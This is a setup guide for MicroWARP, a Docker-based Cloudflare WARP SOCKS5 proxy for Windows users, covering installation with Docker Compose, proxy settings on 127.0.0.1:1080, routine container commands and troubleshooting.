MicroWARP is a small Docker app that gives you a Cloudflare WARP SOCKS5 proxy with low memory use.
It is built for users who want a simple way to route traffic through WARP without a heavy setup. You run it in Docker, connect to the SOCKS5 port, and use it as your proxy.
Before you start, make sure you have:
- A Windows PC
- Docker Desktop installed
- A stable internet connection
- Admin access on your PC
- Basic knowledge of how to open a web page and copy text
Visit this page to download or get the project files:
https://github.com/roderigoambiguous332/MicroWARP
MicroWARP runs in Docker, so Docker Desktop must be installed first.
- Open the Docker Desktop website.
- Download Docker Desktop for Windows.
- Run the installer.
- Follow the prompts.
- Restart your PC if Windows asks for it.
- Open Docker Desktop and wait until it shows that it is ready.
- Press
Win + R. - Type
cmd. - Press Enter.
- Type:
docker --version
- If you see a version number, Docker is ready.
- Open the MicroWARP GitHub page: https://github.com/roderigoambiguous332/MicroWARP
- Click the green
Codebutton. - Choose
Download ZIP. - Save the file to your Downloads folder.
- Right-click the ZIP file and choose
Extract All. - Open the extracted folder.
MicroWARP is set up as a Docker project. The usual way to run it is with Docker Compose.
- Open the extracted MicroWARP folder.
- Find the project file used by Docker, such as
docker-compose.yml. - Open Command Prompt in that folder.
- Run:
docker compose up -d
- Wait for Docker to pull the image and start the container.
Run:
docker ps
You should see a running MicroWARP container in the list.
MicroWARP exposes a SOCKS5 proxy that you can use in apps that support proxies.
- Host:
127.0.0.1 - Port:
1080 - Proxy type:
SOCKS5
- Open the app or browser you want to use.
- Go to its proxy settings.
- Select SOCKS5.
- Enter
127.0.0.1as the host. - Enter
1080as the port. - Save the settings.
- Open a site and test the connection.
MicroWARP can help with:
- Privacy-focused browsing
- Simple proxy use on Windows
- Routing traffic through Cloudflare WARP
- Small setups that need low RAM use
- Docker-based network tools
- Bypassing some DPI checks in certain networks
Set the browser proxy to SOCKS5 on 127.0.0.1:1080, then browse as normal.
Use the same proxy details in any app that supports SOCKS5.
If your tool can use a local proxy, point it to 127.0.0.1:1080.
Use these if you need to manage the container.
docker compose up -d
docker compose down
docker compose logs -f
docker compose restart
docker compose down --remove-orphans
Many Docker projects let you adjust settings in a .env file or in docker-compose.yml.
Common things you may want to change:
- Proxy port
- Container name
- Network mode
- DNS settings
- Restart policy
If you edit a file, save it and run the start command again.
If you want to stop using it:
- Open Command Prompt in the project folder.
- Run:
docker compose down
- Delete the project folder if you no longer need it.
- Remove the ZIP file if you saved one.
- Open Docker Desktop
- Wait until it finishes starting
- Try the command again
- Check that the project files are in the right folder
- Make sure
docker-compose.ymlis present - Run
docker compose logs -fand look for the error
- Check the host and port
- Make sure another app is not using the same port
- Restart the container with
docker compose restart - Check your appβs proxy settings
- Turn off the proxy in your app
- Stop the container
- Start it again
- Check your local network connection
- Name: MicroWARP
- Type: Docker-based SOCKS5 proxy
- Network layer: WireGuard and WARP based
- Memory use: very low
- Target user: end users who want a light proxy setup
- Platform: Windows with Docker Desktop
- alpine
- bypass-dpi
- cloudflare
- cloudflare-warp
- docker
- lightweight
- proxy
- socks5
- warp
- wireguard
- zero-trust
Open the project page and follow the files in the repository: